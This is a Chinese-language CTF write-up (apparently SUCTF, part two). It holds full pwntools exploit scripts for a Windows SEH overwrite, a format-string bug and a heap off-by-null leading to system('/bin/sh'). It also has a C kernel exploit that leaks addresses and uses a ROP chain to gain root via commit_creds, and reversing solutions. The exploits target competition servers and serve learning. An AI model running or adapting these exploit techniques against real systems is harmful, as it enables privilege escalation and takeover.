解题思路
首先注意到主程序会decode hex,而后:
.text:00BA854C call loc_BA8552
.text:00BA854C ;
.text:00BA8552 loc_BA8552: ; CODE XREF: sub_BA83E0:loc_BA854C↑j
.text:00BA8552 pop eax
.text:00BA8553 mov esi, [ebp+var_2C]
.text:00BA8556 sub esi, eax
.text:00BA8558 div esi
当造成除零错误即会根据 CPPEH_RECORD结构体转去执行:
.rdata:00C1ACE0 stru_C1ACE0 dd 0FFFFFFE4h ; GSCookieOffset
.rdata:00C1ACE0 ; DATA XREF: sub_BA83E0+5↑o
.rdata:00C1ACE0 dd 0 ; GSCookieXOROffset ; SEH scope table for function 4083E0
.rdata:00C1ACE0 dd 0FFFFFFC0h ; EHCookieOffset
.rdata:00C1ACE0 dd 0 ; EHCookieXOROffset
.rdata:00C1ACE0 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel
.rdata:00C1ACE0 dd offset loc_BA8583 ; ScopeRecord.FilterFunc
.rdata:00C1ACE0 dd offset loc_BA8589 ; ScopeRecord.HandlerFunc
中的函数
而后就有了几次任意地址读且栈溢的机会,因此直接在任意地址读时读取伪造CPPEH_RECORD需要的其他信息(cookie等)
而后伪造CPPEH_RECORD中ScopeTable^___security_cookie指向我们在栈中伪造的结构体(同时注意在栈中绕过___security_cookie检查),而后即可在任意地址读时读一个非法地址造成错误转而指向
我们伪造结构体中的函数,注意到有一处:
.text:00DE8266 push offset aTypeFlagTxt ; "type flag.txt"
.text:00DE826B call system
.text:00DE8270 add esp, 4
指向此即可最后get flag
from pwn import *
import time
context.log_level="debug"
p=remote("121.40.159.66",6666)
#p.sendlineafter("1234>","BabyStack.exe")
p.recvuntil("stack address = ")
stack_addr=int(p.recvuntil("\n").strip(),16)
p.recvuntil("= ")
main_addr=int(p.recvuntil("\n").strip(),16)
print hex(stack_addr),hex(main_addr)
code1=hex(main_addr+0x1018551-0x101395E)[2:].upper().rjust(8,"0")
p.sendlineafter("\r\n",code1)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(main_addr+0x108C004-0x101395E))
p.recvuntil("is ")
cookie=int(p.recvuntil("\n"),16)
print hex(cookie)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8))
p.recvuntil("is ")
magic1=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+4))
p.recvuntil("is ")
magic2=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+8))
p.recvuntil("is ")
magic3=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x12FFCC8-0x12FFD04))
p.recvuntil("is ")
magic4=int(p.recvuntil("\r\n"),16)
addr=stack_addr+0x98FDE0-0x98FEA8
payload="aaaa"+p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(main_addr+0x1018266-0x101395E)*2+p32(magic4)*29+p32(magic1)+p32(magic2)+p32(magic3)+p32(main_addr+0x1019A30-0x101395E)+p32(cookie^addr)+p32(0)
#time.sleep(20)
p.sendlineafter("\r\n","kirin")
#time.sleep(20)
p.sendline(payload)
p.sendlineafter("more?\r\n","yes")
p.sendlineafter("?\r\n","kirin")
p.interactive()
格式化字符串漏洞且读取的flag在堆上
格式化字符串在全局变量
直接修改一个栈内指向另一个栈内指针的指针即可将一个指针指向堆指针处
而后再修改低字节指向&flag,%s即得flag
from pwn import *
context.log_level="debug"
#p=process("./playfmt")
p=remote("120.78.192.35",9999)
p.recvuntil("=\n")
p.sendlineafter("=\n","%6$lx")
s="0x"+p.recvuntil("\n")
stack_addr=int(s.strip(),16)
print hex(stack_addr)
stack2=stack_addr+0xFFFFCF28-0xffffcef8-0x20
p.sendline("%"+str(stack2&0xff)+"c%6$hhn")
p.sendline("%16c%14$hhn")
p.sendline("%18$s")
p.interactive()
二手破电脑
程序在添加note时scanf存在off by null
利用off by null构造unlink,造成堆重叠,然后即可leak堆和libc地址
因为32位各种hook的周围合法地址只有"0xff"(32位程序高地址0xFF)
所以选择unsored bin attack覆盖global_max_fast即可成功将fastbin分配到realloc hook周围
而后fastbin attack修改realloc hook为system,在edit过程即可执行system("/bin/sh")来get shell
from pwn import *
context.log_level="debug"
def add(l,note,prize):
p.sendlineafter(">>> ","1")
p.sendlineafter(": ",str(l))
p.sendafter(": ",note)
p.sendlineafter(": ",str(prize))
def comment(index,note,score):
p.sendlineafter(">>> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
p.sendlineafter(": ",str(score))
def delete(index):
p.sendlineafter(">>> ","3")
p.sendlineafter(": ",str(index))
p.recvuntil("Comment ")
s=p.recvuntil("1.")
return s
def edit(index,note,power=0,serial=""):
p.sendlineafter(">>> ","4")
p.sendlineafter(": ",str(index))
p.send(note)
if power:
p.sendlineafter(")","y")
p.sendafter("serial: ",serial)
else:
p.sendlineafter(")","n")
#p=process("./pwn")
p=remote("47.111.59.243",10001)
add(0x14,"a"*0x13+"\n",0)
comment(0,"bbbb",12)
add(0x14,"cccc\n",1)
delete(0)
comment(1,"b",12)
libc_addr=u32(delete(1)[0:4])+0xf7dfa000-0xf7fac762+0x2000
print hex(libc_addr)
#gdb.attach(p)
add(0x14,"aaaaaa\n",0)
add(0xfc,"ddddddd\n",1)
add(0x14,"eeee\n",2)
delete(0)
add(0x14,"a"*0x14,0)
delete(0)
for i in range(5):
add(0x14,"a"*(0x14-i-1)+"\n",0)
delete(0)
add(0x14,"a"*16+"\xa8"+"\n",0)
delete(1)
add(0x24,"aaaaaa\n",0)
comment(2,"2"*84,0)
s=delete(2)
heap_addr=u32(s[84:84+4])
print hex(heap_addr)
add(0x14,"a\n",0)
comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0x19),1)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0x14,"a\n",0)
delete(0)
delete(2)
comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
comment(4,"4444",0)
add(0x14,"a\n",0)
add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",0)
delete(5)
delete(4)
delete(6)
#gdb.attach(p)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,"/bin/sh\n",1)
add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
print hex(libc_addr)
#gdb.attach(p)
p.interactive()
sudrv
qemu:
#! /bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep
开启了kalsr和smep
init:
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mknod -m 622 console c 5 1
mknod -m 622 tty0 c 4 0
insmod sudrv.ko
mknod /dev/meizijiutql c 233 0
chmod 666 /dev/meizijiutql
mdev -s
sysctl kernel.dmesg_restrict=0
# echo "7 7 7 7" > /proc/sys/kernel/printk
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# /bin/sh
内核会加载驱动sudrv.ko
很显然驱动里有两处漏洞:
格式化字符串:
.text.unlikely:00000000000000B8 sudrv_ioctl_cold_2 proc near ; CODE XREF: sudrv_ioctl+62↑j
.text.unlikely:00000000000000B8 call printk ; PIC mode
.text.unlikely:00000000000000BD
.text.unlikely:00000000000000BD loc_BD:
堆溢出
.text:0000000000000000 sudrv_write proc near
.text:0000000000000000 mov rdi, cs:su_buf
.text:0000000000000007 call copy_user_generic_unrolled ; PIC mode
.text:000000000000000C test eax, eax
.text:000000000000000E jz sudrv_write_cold_1
.text:0000000000000014 mov rax, 0FFFFFFFFFFFFFFFFh
.text:000000000000001B retn
起初我想的是堆喷分配大量cred到buf附近完成提权
但是cred分配时候使用的是cred_jar,与kmalloc分配的地址不同
没有办法直接覆盖
而后想了第二个思路:kmalloc分配地址里很容易在+0x80处存在一个cred附近的地址,可以先利用printk leak这个地址,而后类似利用fastbin attack,利用堆溢出将下一个堆的fd指向预测的cred地址完成提权,不过由于比较随机,只在本地成功过几次
而后就是第三个思路:相邻内核操作之间栈地址相近,可以先用格式化字符串漏洞leak一个栈地址,并leak出内核加载基址,而后在write的时候构造rop链覆盖自己的返回地址来调用commit_creds(prepare_kernel_cred(0))完成提权,而后返回用户态get shell,起初一直ireq;ret回用户态总是会在用户态crash,而后选择sysret成功返回用户态,不过直接system老是段错误,只好直接execv一个写好system的程序,不过仍然有点小问题,gdb.attach一下可以完成利用,不过没有attach就会crash,不知道是qemu还是需要sleep什么问题
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define KERNCALL __attribute__((regparm(3)))
void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
char *argv[]={NULL};
char *envp[]={"PATH=/", NULL};
long int magic1;
long int magic2;
void shellcode(){
execve("./sh_exp", argv, envp);
}
void new(int fd,int size){
ioctl(fd,0x73311337,size);
}
void out(int fd){
ioctl(fd,0xdeadbeef);
}
void delete(int fd){
ioctl(fd,0x13377331);
}
void getroot(){
commit_creds= magic2+0xffffffff81081790-0xffffffff811c827f;
prepare_kernel_cred =magic2+0xffffffff81081410-0xffffffff811c827f;
size_t cred = prepare_kernel_cred(0);
commit_creds(cred);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int main(){
save_status();
long int buf[0x2000];
memset(buf,0,sizeof(buf));
int fd=open("/dev/meizijiutql",1);
new(fd,0x100);
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",100);
out(fd);
out(fd);
//0xffffc9000018bed8
//0xffffc9000018be50
scanf("%ld %ld",&magic1,&magic2);
//please input stack_addr && exec_base addr
buf[30]=0x800000;
buf[31]=0xffffffffffffffff;
buf[32]=magic1-0x88;
new(fd,0x100);
write(fd,buf,0x120);
new(fd,0x100);
new(fd,0x100);
buf[0]=magic2+0xffffffff81001388-0xffffffff811c827f;
buf[1]=0;
buf[2]=magic2+0xffffffff81081790-0xffffffff811c827f;
buf[3]=magic2+0xffffffff819e2959-0xffffffff811c827f;
buf[4]=magic2+0xffffffff81081410-0xffffffff811c827f;
buf[5]=buf[0];
buf[6]=0x6f0;
buf[7]=magic2+0xffffffff8104e5b1-0xffffffff811c827f;
buf[8]=magic2+0xffffffff810674ff-0xffffffff811c827f;
buf[9]=shellcode;
buf[10]=magic2+0xffffffff81a000e1-0xffffffff811c827f;
buf[11]=0;
buf[12]=1;
buf[13]=user_sp;
buf[14]=0x401c60;
buf[15]=user_sp;
buf[16]=0x400418;
buf[17]=user_eflags;
buf[18]=shellcode;
buf[19]=0x6d7f98;
buf[20]=shellcode;
buf[21]=shellcode;
buf[22]=0x100;
buf[23]=0x73311337;
buf[24]=1;
buf[25]=user_sp;
buf[26]=7;
buf[27]=shellcode;
buf[28]=user_cs;
buf[29]=user_eflags;
buf[30]=user_sp;
buf[31]=user_ss;
write(fd,buf,280);
}
//gcc ./exp.c -o exp --static
#include <stdio.h>
#include <stdlib.h>
int main(){
system("/bin/sh");
}
//gcc ./shell_exp.c -o shell_exp --static
解题思路
import libnum
import gmpy2
p = 282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
e = 65537
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
s = (p- 1) * (q - 1)
d =long(gmpy2.invert(e, s))
n = p *q
k=pow(c, d, n)
print libnum.n2s(k)
解题思路
带LLVM的CPP。代码比较少,很容易就能直接理出校验过程,输入经下面处理后与常量比较:
(r^s[i] + s[i+r-1]%7) ^ ((s[i+r-1]^18)*3 + 2)
其中r是运行时间,应该为0,s为输入。反解如下:
s = [0x23]
table = [0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C, 0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]
for i,v in enumerate(table):
t = ((v^((s[i]^18)*3 + 2)) - (s[i]%7)) & 0xff
s.append(t)
print ''.join(map(chr,s))
得#flag{mY-CurR1ed_Fns}。
解题思路
主要是解DLL,动态调试 找出和dll代码操作的三个函数的参数 提取出DLL
不知道po叔怎么搞的,我是把所有检测debug的地方全部nop掉 然后在处理dll的三个关键函数下断提取对应参数
提取出DLL发现有个AES解密
key 是 Ak1i3aS3cre7K3y
#待解密的数据的(从此处得到)base64 encode 为:lL96DKQ1UNHCFezvnZqqVg==
memset(Dst, 0, 0x8000ui64);
Src = 0x94u;
v14 = 0xBFu;
v15 = 0x7A;
v16 = 0xC;
v17 = 0xA4u;
v18 = 0x35;
v19 = 0x50;
v20 = 0xD1u;
v21 = 0xC2u;
v22 = 0x15;
v23 = 0xECu;
v24 = 0xEFu;
v25 = 0x9Du;
v26 = 0x9Au;
v27 = 0xAAu;
v28 = 0x56;
memcpy(Dst, &Src, 0x10ui64);
*((_QWORD *)&hFileMappingObject + 1) = CreateEventW(0i64, 0, 1, L"DLLInput");
#flag{Ak1rAWin!}
附上提取DLL脚本
p=open("WinRev.exe","rb")
z=bytearray(p.read())
p.close()
fff=z[0xefa0:0xefa0+0x4c00]
Str="Akira_aut0_ch3ss_!"
v4=len(Str)
for i in range(len(fff)):
if(i%3==2):
fff[i]=(fff[i]&0xf0)/0x10+(fff[i]&0xf)*0x10
if(i%3==1):
fff[i]=fff[i]^(0x33^0x6a)
if((i%3)==0):
fff[i]=fff[i]^ord(Str[(i/3)%v4])
p=open("kkk.exe","wb")
p.write(fff)
p.close()
程序使用了事件对象、多线程,还有反调试。
大致理了下,前三个事件是为了解码最终验证的dll。共了三次校验。第一次校验密码,第二次校验流数据的md5值,第三次就是最终校验了。
密码校验比较简单,就是乱序+异或。密码反解如下:
>>> l = [0x6A, 0x5A, 0x65, 0x6B, 0x71, 0x41, 0x72, 0x68, 0x55, 0x7C, 0x39, 0x67, 0x3E, 0x30, 0x4F, 0x7D, 0x7C, 0x64]
>>> idx= [1,5,4,2,3,0]
>>> l1 = [0]*18
>>> for i in range(18):
... l1[6*(i/6)+idx[i%6]] = l[i]
...
>>> l1
[65, 106, 107, 113, 101, 90, 103, 114, 124, 57, 85, 104, 100, 62, 125, 124, 79, 48]
>>> for i in range(18):
... l1[i] ^= i
...
>>> l1
[65, 107, 105, 114, 97, 95, 97, 117, 116, 48, 95, 99, 104, 51, 115, 115, 95, 33]
>>> print ''.join(map(chr,l1))
Akira_aut0_ch3ss_!
流数据内容直接查md5就可得到。
fcaeeb6e34b4303e99b91206bd325f2b==md5(Overwatch)
过了这两个校验,程序就可以完全解码dll文件了。也是到这里才发现前面的除了密码解dll有用,其它的都不要考虑。
IDA里直接解dll,并dump出来:
Python>addr = 0x1400111A0
Python>pl = [65, 107, 105, 114, 97, 95, 97, 117, 116, 48, 95, 99, 104, 51, 115, 115, 95, 33]
Python>for i in range(0x4c00):
Python> if i%3 == 0:
Python> PatchByte(addr+i,Byte(addr+i)^pl[i/3%18])
Python> elif i%3 == 1:
Python> PatchByte(addr+i,Byte(addr+i)^0x6a^0x33)
Python> elif i%3 == 2:
Python> PatchByte(addr+i,(Byte(addr+i)>>4)|((Byte(addr+i)<<4)&0xff))
Python>
Python>dump(0x1400111A0,0x4c00,r're\7a7cce71bf7944589ee6c2c389f79a8e\pe.bin')
解开的dll里,主要校验函数如下
AES解密校验数据94bf7a0ca43550d1c215ecef9d9aaa56与输入比较,直接解AES,得到flag{Ak1rAWin!}。
解题思路
这题简单点说,就是一个loader调用unicorn执行了一段mips代码。直接ghidra反编出伪代码,是42元一次方程,直接z3求解。
得SUCTF{Un1c0rn_Engin3_Is_@_P0wer7ul_TO0ls!}。
Rev
解题思路
输入被符号字符分成3部分,分三次校验。
第一部分校验有点没看懂,但是不影响结果。简单异或可得第一部分必须必须有suctf,并是flag的开头。
第二部分校验要求4字节大写字母,相邻之间的字母ascii码差为2。
第三部分校验要求满足如下(v为输入,32bits空间内的计算)
(1234 * v + 5678) / 4396 ^ 0xABCDDCBA) == 0xABCDB8B9
(2334 * v + 9875) / 7777 ^ 0x12336790 == 0x1233FC70
直接z3求解
>>> from z3 import *
>>> v = BitVec('v',32)
>>> s = Solver()
>>> s.add((1234 * v + 5678) / 4396 ^ 0xABCDDCBA == 0xABCDB8B9)
>>> s.add((2334 * v + 9875) / 7777 ^ 0x12336790 == 0x1233FC70)
>>> s.check()
sat
>>> res = s.model()
>>> res
[v = 31415926]
所以最终输出的flag形式为suctf{ACEG31415926}。
第二部分不确定,所以小跑了下,准备逐个提交,想不到第一个就提交成功了。
Web、Misc、Crypto部分请看SUCTF-WriteUP(上)!